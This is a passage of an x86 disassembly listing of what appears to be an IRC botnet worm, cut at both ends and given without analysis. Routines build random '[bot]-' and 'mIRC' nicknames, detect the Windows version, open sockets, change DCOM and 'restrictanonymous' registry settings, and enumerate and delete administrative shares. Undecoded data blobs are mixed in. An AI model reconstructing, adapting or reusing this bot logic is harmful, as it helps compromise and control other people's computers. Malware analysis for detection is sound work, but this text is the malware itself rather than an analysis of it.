dword_438964 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_43899C call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43F5E0h, 0C63BF633h, 68501D74h dd 438B60h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 0CE89057h, 57021DB2h, 41598C68h, 58E89000h, 850239B4h dd 0E82975C0h, 222AB4Fh, 10685090h, 0E800438Bh, 0FFFF6859h dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 0E8905759h, 21DB1D3h dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h, 15FF5350h dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h dd 850FC085h, 103h, 438AC468h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh dd 8D500043h, 0FFFBEC85h, 8A7068FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 16E85056h, 900225B3h, 69B84D8Bh dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 21EAF33h, 0E890EDEBh, 222A9C3h dd 8A246850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43F5FCh, 0EC858D50h, 68FFFFFBh, 4389E0h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0F70015FFh dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h dd 59000016h, 0E8E89056h, 5B021DAFh, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_438BB0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 2600000h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E81p arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 2600000h nop push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 2600000h push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_438C0C push eax push esi call near ptr 27A0000h nop movsx eax, byte_438C0C push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 2600000h push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 27C0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_438C10 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43C80C mov dword ptr [ebp-94h], 94h nop call near ptr 27715E7h call near ptr 2600000h nop push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_438C1C jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_438C14 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2600000h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415C96 mov eax, offset byte_43C80C loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_438C20 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415CC1 mov eax, offset byte_43C80C loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_438BAC loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_438C10 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_438BB0[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43F668 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4450CC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43F6F4 push eax mov edi, offset dword_489DE4 push offset unk_438C2C push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43F700 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E2o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 444EC005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 32E89057h, 3B0225ADh, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 0BA36E890h, 0B3FF0220h, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 call near ptr 25F0973h nop sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43F738, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416013 mov ax, word_439014 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_415FF5 push offset unk_438FD4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_438FA8 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43F68C test eax, eax jz short loc_416095 push offset unk_438F08 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_438EC4 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_438E78 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_438E38 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43F760, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43F5B4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_438CA0 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_438E04 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_438DC8 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_438CC0 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_438D94 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_438D58 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43F6F8 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_438D20 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43F738, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416337 mov ax, word_4391FC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_416319 push offset unk_4391C8 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43919C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43F68C test eax, eax jz short loc_4163B5 push offset unk_439150 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_43910C loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_4390C0 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_438E38 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43F760, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_438CA0 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_439090 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_439058 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_438CB0 jb short loc_416430 nop call near ptr 27C04E7h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43F6C8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_439090 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_439058 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_439018 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4450CC[edi] mov [ebp+var_C], 0Ch mov 